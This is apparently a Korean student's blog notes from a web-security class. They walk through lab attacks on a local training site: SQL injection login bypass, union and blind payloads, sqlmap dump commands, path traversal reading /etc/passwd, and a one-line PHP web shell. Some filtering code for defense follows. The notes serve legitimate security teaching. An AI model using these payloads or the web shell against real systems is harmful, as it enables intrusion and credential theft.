202401to07
  • 2024.06.05.보안 day43
    2024년 06월 09일 20시 07분 12초에 업로드 된 글입니다.
    작성자: 202401to07

    (수) 휴가 

     

    보안방법

     1. 정규표현식, 문자제한, 치환

    2.  확인 , OTP, 캡차 

    3. 웹 방화벽 같은 보안 솔류

    4. 최신 업데이트, 프로그램 확인 

     

    쿠키와 세션의 차이 

    쿠키는 서버가 클라이언트에게 전달 / 클라이언트에 저장 / 서버에게 세션연결값을 받기위한 식별값

    세션: 클라이언트의 연결정보 / 쿠키에 매칭이 디고 쿠키에 의해 세션정보를 넘겨 

     

    이를 활용해서 세션하이잭킹을 한다 

    session hijecking : 세션을 중간에서 가로채는것 = 세션탈취 공격 

     

    세션탈취공격 (쿠키)

    보안

    쿠키값재사용금지 

    쿠키값 주기적 변경

    자동 로그아웃 필수 (time out)

    중복 로그인 조절

    ==> JWT같은 토큰

    :기존의 쿠키를 사용자정보화 결합 함호화한 access_token을 만들고
    주기적으로 refresh_token을 변화하면서 새로운 access_token 을 갱해내고
    이를 클라이언트에 저장시킨다

     


    이제 sql 인젝

    로키 

    미니 

     

     

    0.준비
    192.168.10.10 ) DB에서 

    mysql -u root -p 

    runcate table class로 비우고 진행


    아래 계정 4개 만들기 

    admin / asd123
    test / test123
    sevas / *12ya~
    master / mola

     

    보안 풀어놓기 

    board_insert.php

    1.절차
    ID와 PW에 
    ' or ' 1=1  

    각각 입력 후 로그인 확인
    이유: cat    /var/www/html/proc/login.php

    (쿼리문)
    $sql="select id,pw from class where id='$id' and pw='$pw'";

    (인젝션된 내용)
    $sql="select id,pw from class where id=' ' or '1=1 ' and pw=' ' or ' 1=1 ' ";
    select id,pw from class where id=' ' or '1=1 '
    ' or '1=1   => 없거나 1=1 즉 어떤 것이 되어도 


    'or '1
    'or '1 --
    'or '1 --+   웹
    'or '1#  오라클

    오라클의 주석은 #
    mysql 주석은 --
    +
    (URL) + 뒤에 문자 연결

    막는방법: 기호 못쓰게 하기 
    ==========================================================

    SQL  Injection 종류


    보여 Non-Blind SQL Injection :   =>  쿼리문 결과가 확인가능

    Query Result SQL , Error Based SQL (오류출력이용)

    안보여 Blind SQL Injection :  =>  쿼리문 결과를 유추 

     Boolean SQL(참거짓이용(자동화)) , Time Base SQL(참이면 시간차 딜레이 )

     

    %27    '

    %20 공백


    #1 Non-blind SQL injection (결과가 눈에 보이는 SQL인젝션) 

    'union select 1,2,1,1, --

     

    의문: DB컬럼값 어케 알았냐 

    sql_injection부록.txt
    0.01MB

    ㄴ 조회 sql 명령어 모

    1) Query Result SQL injection
    쿼리문 결과를 보고서 데이타를 뽑아내는 SQL이 있다.

    2) ERROR BASED SQL injection
    일부러 에러를 내서 데이타를 뽑아오는 SQL이 있다.

     

     

    table_name   => TB이름
    table_schema => DB이름 
    column_nams => 컬럼 이름

     

     

     

    1. DB /  TB

    'union select table_name,table_schema,1,1,1 from information_schema.tables group by table_schema limit 0,1--+

    'union select table_name,1,1,1,1 from information_schema.tables where table_schema='sevas' limit 0,1--+

    2. 컬럼

    'union select table_name,table_schema, column_name ,1,1 from information_schema.columns where table_name='class' limit 2,1--+

    3.1,2,로 찾은값으로 정보 찾기 

    'union select id,pw, database(),version(),1 from class limit 2.1 --+


    https://drive.google.com/file/d/1ajGXMRCyShEDdJcjyRiJnZQFj54T2p13/view?usp=sharing

    ㄴ다운 받아 

    실습문제 :

    풀이 :

    nmap -nP 192.168.10.10/24

    ㄴ192.168.10.60확인

     

    0. sevas 계정 만들기 

    1. 컬럼 수 확인

    http://192.168.10.60/board_view.php?b_no=0%27union%20select%201,1,1,1,1--+ 커

    2. DB이름, 버전 등 확인 

    %27union%20select%201,1,1,database(),version()--+

    bacubacu

    3. DB이름 찾기 

    %27union%20select%20table_schema,1,1,1,1%20from%20information_schema.tables%20group%20by %20table_schema%20limit%200,1--+

    [DB]
    bacubacu
    hackmap
    sevas
    webhack
    mysql
    information_schema
    performance_schema

    4. 위에서 찾은 DB에 맞는 TB을 찾자 . 

    <bacubacu>있는 TB찾기 
    %27union select table_schema,table_name,1,1,1 from information_schema.tables  where table_schema='bacubacu' group by table_name limit 0,1--+

    b_tb , class

    5. 찾은 b_tb , class 두 테이블의 칼럼 찾기 
    union select 1,1,column_name,1,1 from information_schema.columns  where table_schema='bacubacu' and table_name='class'   limit 0,1 --+
    union select 1,1,column_name,1,1 from information_schema.columns  where table_schema='bacubacu' and table_name='b_tb'   limit 0,1 --+


    b_tb  : b_no , subject , user , contents , reg_date

    class : c_no , id ,  pw ,nick ,  join_date

    6. 찾은 컬럼으로 값 알아내기 

    union select id,pw, nick,join_date ,1 from bacubacu.class limit 0,1--+

    ㄴ 하나하나 보는데 sevas가 없다 ==> 이 테이블 아님 

     

     

    위 과정들 아래 반복 (4.부터)

    <hackmap>
    <sevas>
    <webhack>

     


    #2 blind SQL injection (결과가 불분명한 SQL인젝션 )

    1) boolean (TRUE,FALSE) SQL injection
    참과 거짓으로 데이타를 확인
    2)time based SQL injection
    시간차로 sleep를 활용하여 참일경우 딜레이를 줌

    blind injection 
    참 거짓으로 구별 ( boolean-base blind SQL)


    select substring ( 글자,위치,길이)
    select substring('sevas sivas',2);  두번째 글자부터
    select substring('sevas sivas',2,3); 두번째글자부터 3글자
    select substring('sevas',2,1);  두번째 글자에서 첫번째 'e'출력

    select substring('sevas',2,1) ='a';   0(거짓)
    select substring('sevas',2,1) ='e';    1(참)
    select substring('sevas',2,1) <='a';   0(거짓)
    select substring('sevas',2,1) >='a';   1(참)

     

    숫자는  0x30 에서부터 시작
    문자는  0x41  대문자
               0x61  소문자   

     

    아스키코드로 찾기   (0x41 = A =65  0, x61= a = 97)

    [문자]
    select substring((select id from class limit 0,1),1,1);
    [10진수]
    select ascii(substring((select id from class limit 0,1),1,1));
    [16진수]
    select hex(ascii(substring((select id from class limit 0,1),1,1))); 

     

     

    (문제)  sevas 의 아스키 코드 숫자는 어떻게 될까요? (16진수 a 61)


    select hex('s');   => 73
    select hex('e');    => 65
    select hex('v');   => 76
    select hex('a');   => 61
    select hex('s');   => 73

     

     

    2) Time-base Blind injection : 
    참/거짓 응답 확인이 어려울때 확인하는 기법
    직접 들어가지 않더라도 확인할수 있음.


    select 1 and sleep(3);   참이면 3초지연
    select 0 and sleep(3);    지연X

     

    ID: ' or hex(ascii(substring(database(),1,1)))= 73 and sleep(5)#  지연
    PW: 아무거나
    ID:' or hex(ascii(substring(database(),1,1)))= 74 and sleep(5)#  지연X
    PW: 아무거나    

    ==> sqlmap 

     

    ===================================================
    sqlmap tool 사용하면 자동 sql injection 

    - [-u URL] : 공격을 수행할 페이지 주소 지정  ****
    - [--cookie=COOKIE] : 쿠키 값 지정 
    - [--data DATA] : POST 방식으로 데이터가 전달될 때, 해당 데이터를 지정
    - [-p TESTPARAMETER] : 공격을 수행할 파라미터를 지정 ****
    - [-v VERBOSE] : 명령어 수행을 얼마나 상세하게 출력할 것 인지를 지정 (0~6)
    - [--passwords] : 사용자들의 패스워드 해시값을 출력
    [--tables] : 데이터베이스의 테이블들을 출력          *****
    [--columns] : 데이터베이스 테이블의 컬럼들을 출력 *****
    - [--dump] : 데이터베이스 테이블 엔트리를 덤프  / 컬럼의 값 확인     *****
    - [--dbs] : 데이터베이스 리스트 출력                      *****
    [-D DB] : 특정 데이터베이스 지정                         *****
    - [-T TBL] : 특정 테이블 지정                                *****
    [-C COL] : 특정 컬럼 지정                                   *****

    [db정보수집]
    sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no"

    [db확인]
    sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -dbs

    [table확인]
    sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas --tables

    [column확인] 필드 
    sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T  class --column

    [값확인]
    sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T  class --dump

    6:19:50 / 8:21:39

    =============================================================================
    =================================================================

    실습 
    게시판  => 글 하나 클릭    ( -- 주석  + 뒤에 문자가 더 있음 )

    http://192.168.10.10/board_view.php?b_no=0' union select 1--+
    http://192.168.10.10/board_view.php?b_no=0' union select 1,1--+
    http://192.168.10.10/board_view.php?b_no=0' union select 1,1,1--+
    http://192.168.10.10/board_view.php?b_no=0' union select 1,1,1,1--+
    http://192.168.10.10/board_view.php?b_no=0' union select 1,1,1,1,1--+ (나옴 칼럼이 5개 )


    http://192.168.10.10/board_view.php?b_no=0' union select database(),1,1,1,1--+


    select database();   <<<<<< DBMS에서 지정하는 시스템 함수 ( 현재의 데이터베이스 이름을 출력한다.)



    실습2 )     어떻게 데이타를 가져오는 걸까 ? 
    순서 : 테이블-> 칼럼
    MariaDB [sevas]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    information_schema |
    | com                |
    | jo                 |
    | korea              |
    | mysql              |
    | performance_schema |
    | sevas              |
    | test               |
    +--------------------+
    8 rows in set (0.00 sec)

    use information_schema;  <<<<<<<<<모든 DB에 대한 구조가 정의 되어있음 

    show tables;   ( TABLES , COLUMNS 확인 가능)

    desc TABLES; 
    select * from tables; (많이 나옴)

    select table_name,table_schema from tables;
    select table_name,table_schema from tables group by (table_schema);
    select table_name,table_schema from tables where table_schema='sevas';

    http://192.168.10.10/board_view.php?b_no=0'union select 1,1,1,1,1--+ 
    ======================================================================
    웹에 직접 입력해서   table 내용와 DB내용을 출력시키세요.

    DB[infromation_schema]  => DB에 대한 구조 정보

    TB[tables]              => Table 내용

    table_name   => TB이름
    table_schema => DB이름 
    column_nams => 컬럼 이름

    숫자는  0x30 에서부터 시작
    문자는  0x41  대문자
               0x61  소문자   

     

     

     

    https://drive.google.com/file/d/1ajGXMRCyShEDdJcjyRiJnZQFj54T2p13/view?usp=sharing

    ㄴ다운 받아 

     

    'union select table_name,table_schema,1,1,1 from information_schema.tables limit 0,1--+
    'union select table_name,table_schema,1,1,1 from information_schema.tables group by table_schema limit 0,1--+
    [sevas DB찾음]
    'union select table_name,table_schema,1,1,1 from information_schema.tables where table_schema='sevas' limit 0,1--+
    [b_tb , class , file_tb TB찾음]

    ================================================

    다시 시작해봅니다

     ===================================================

    sql injection 으로 확인해보기 

    http://192.168.10.10/board_view.php?b_no=0   <<< 아무것도 안나옴 

    http://192.168.10.10/board_view.php?b_no=0  ' union select 1--+
    http://192.168.10.10/board_view.php?b_no=0  ' union select 1,1--+
    http://192.168.10.10/board_view.php?b_no=0  ' union select 1,1,1--+
    http://192.168.10.10/board_view.php?b_no=0  ' union select 1,1,1,1--+
    http://192.168.10.10/board_view.php?b_no=0  ' union select 1,1,1,1,1--+   <<< 출력됨

    http://192.168.10.10/board_view.php?b_no=0  ' union select database(),1,1,1,1--+
    'union select table_name,table_schema,1,1,1 from information_schema.tables group by (table_schema) limit 0,1--+ 
    'union select table_name,table_schema,1,1,1 from information_schema.tables where table_schema='sevas' limit 0,1--+
    'union select table_name,table_schema,1,1,1 from information_schema.tables where table_schema='sevas' limit 1,1--+

    b_tb와 class가 출력 

    # 현재 확인된 정보
    DB = SEVAS
    TB = b_tb , class, file_tb
    ====================================================================================================================
    ########## colums 추출 ##########

    select table_schema,table_name,column_name from columns group by (table_schema);
    select table_schema,table_name,column_name from columns where table_schema='sevas';

    [TB class, b_tb , file_tb ]

    'union select table_name,column_name,1,1,1 from information_schema.columns where table_name='class' limit 0,1--+
    'union select table_name,column_name,1,1,1 from information_schema.columns where table_name='b_tb' limit 0,1--+


    해당 내용을 활용해서 값을 찾아낸다.

    'union select id,pw,1,1,1 from class limit 0,1--+


    =============================================================================================

    1) DB를 확인하기 위한 SQL_injection 쿼리문
    'union select 1,1,1,1,database()--+

    2) Table을 확인하기 위한 SQL_injection 쿼리문
    'union select table_name,table_schema,1,1,1 from information_schema.columns where table_schema='sevas' limit 0,1--+

    3) column 을 확인하기 위한 SQL_injection 쿼리문
    'union select table_name,table_schema,column_name,1,1 from information_schema.columns where table_schema='sevas' and table_name='class' limit 0,1--+

    'union select table_name,table_schema,column_name,1,1 from information_schema.columns where table_schema='sevas' and table_name='b_tb' limit 0,1--+

    4) ip/pw 를 확인하기 위한 SQL_injection 쿼리문  
    'union select id,pw,1,1,1 from class limit 0,1--+

    sql injection 방어 

    1. get method최소화 

    2. union selsct 같은 sql 구문을 검사하는 코드 제작

    3. 특수문자들은 공백으로 만들어서 사용 못하게 쓰기 

     

    보안 방법 - 시큐어 코딩

    1. sql 구문 방지 

    if(preg_match('/(union|select|from|where)/i', $b_no))
    {
        echo "No SQL-Injection!!!!<br>";
         exit;
    }

     

    2. 하드코딩  : 특수문자 모두 다 넣기 

    $id = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $id);
    $pw = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $pw);
    if(preg_match('/(union|select|from|where)/i', $id))
    {
        echo "No SQL-Injection!!!!<br>";
    	exit;
    }

     


    업다운로드 공격 

    파일부분 링크 복사 

    http://192.168.10.100/down_file.php?file_name=../../../../../etc/passwd

     

     

     

    문제 . 파일이 업로드 다운로드되는 위치가  /var/www/html/file임을 확인해보세요.

    답 . http://192.168.10.10/down_file.php?file_name=../../../../../../../../etc/httpd/conf/httpd.conf 

    ㄴ 확인

     

    이렇게 알게된 경로를 이용해서 

    http://192.168.10.10/down_file.php?file_name=../../../../../../../../var/www/html/index.php
    http://192.168.10.10/down_file.php?file_name=../../../../../../../../var/www/html/webhard.php
    http://192.168.10.10/down_file.php?file_name=../../../../../../../../var/www/html/up_file.php

    ㄴ 이렇게 다 볼수있게 된다 

    ar/www/html/up_file.php

    ㄴ이를 이용해서  /var/www/html/file에 파일이 올라감을 확인

     

    막는 방법 : 

    상위 디렉토리 못 가게 하면 된다 

     

    <?php
    system($_GET[arg]);
    ?>

    http://192.168.10.100/file/webshell.php?arg=ifconfig

    http://192.168.10.100/file/webshell.php?arg=cat /etc/passwd

     


     

    [ 다운로드 download 보안 ]

    1. 기존의 DB내용에 있는 파일인지 점검 
    2. ../../../ 와 같은 경로문자를 빈칸으로 치환    

     

    [ down_file.php ]

    <?php
    $file_name=$_GET['file_name'];
    $iconn=mysql_connect("db.sevas10.com","desevas","asd123");
    mysql_select_db("sevas");
    $sql = "select * from file_tb where file_name='$file_name'";
    $return=mysql_query($sql);
    $result=mysql_fetch_array($return);
    $file_name =str_replace("../"," ",$file_name);
    if($result)
    {
    Header("Content-Type:application/octet=stream");
    Header("Content-Disposition:attachment; filename=$file_name");
    Header("Content-Transfer-Encoding:binary");
    Header("Content-Length:".filesize("./file/$file_name"));

    $fd = fopen("./file/$file_name","rb");

    echo fread($fd, filesize("./file/$file_name"));
    }
    else
    {
    echo "업로드 된 파일이 아닙니다.";
    }
    mysql_close();

    ?>

    [ 업로드 upload 보안 ]

    if(preg_match("/(.php|.html|.htm)/i",$upfile[$i]))
    {
    echo "html,php 관련 파일은 업로드 불가";
    exit;
    }

     

    1. php나 asp나 html등 web확장자 파일 차단.
    2. 특수 문자나 웹스크립트 언어 부분을 치환하거나 막는다. ( 백신,디펜더 )

     

     

     

     

     

    https://www.virustotal.com/gui/

     

    VirusTotal

     

    www.virustotal.com

    ㄴ 바이러스 검사 

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    '보안' 카테고리의 다른 글

    2024.06.10.보안 day45  (0) 2024.06.10
    2024.06.07.보안 day44  (0) 2024.06.10
    2024.06.04.보안 day42  (0) 2024.06.04
    2024.06.03.보안 day41  (1) 2024.06.03
    2024.05.30.목.보안 day40  (0) 2024.05.30
    댓글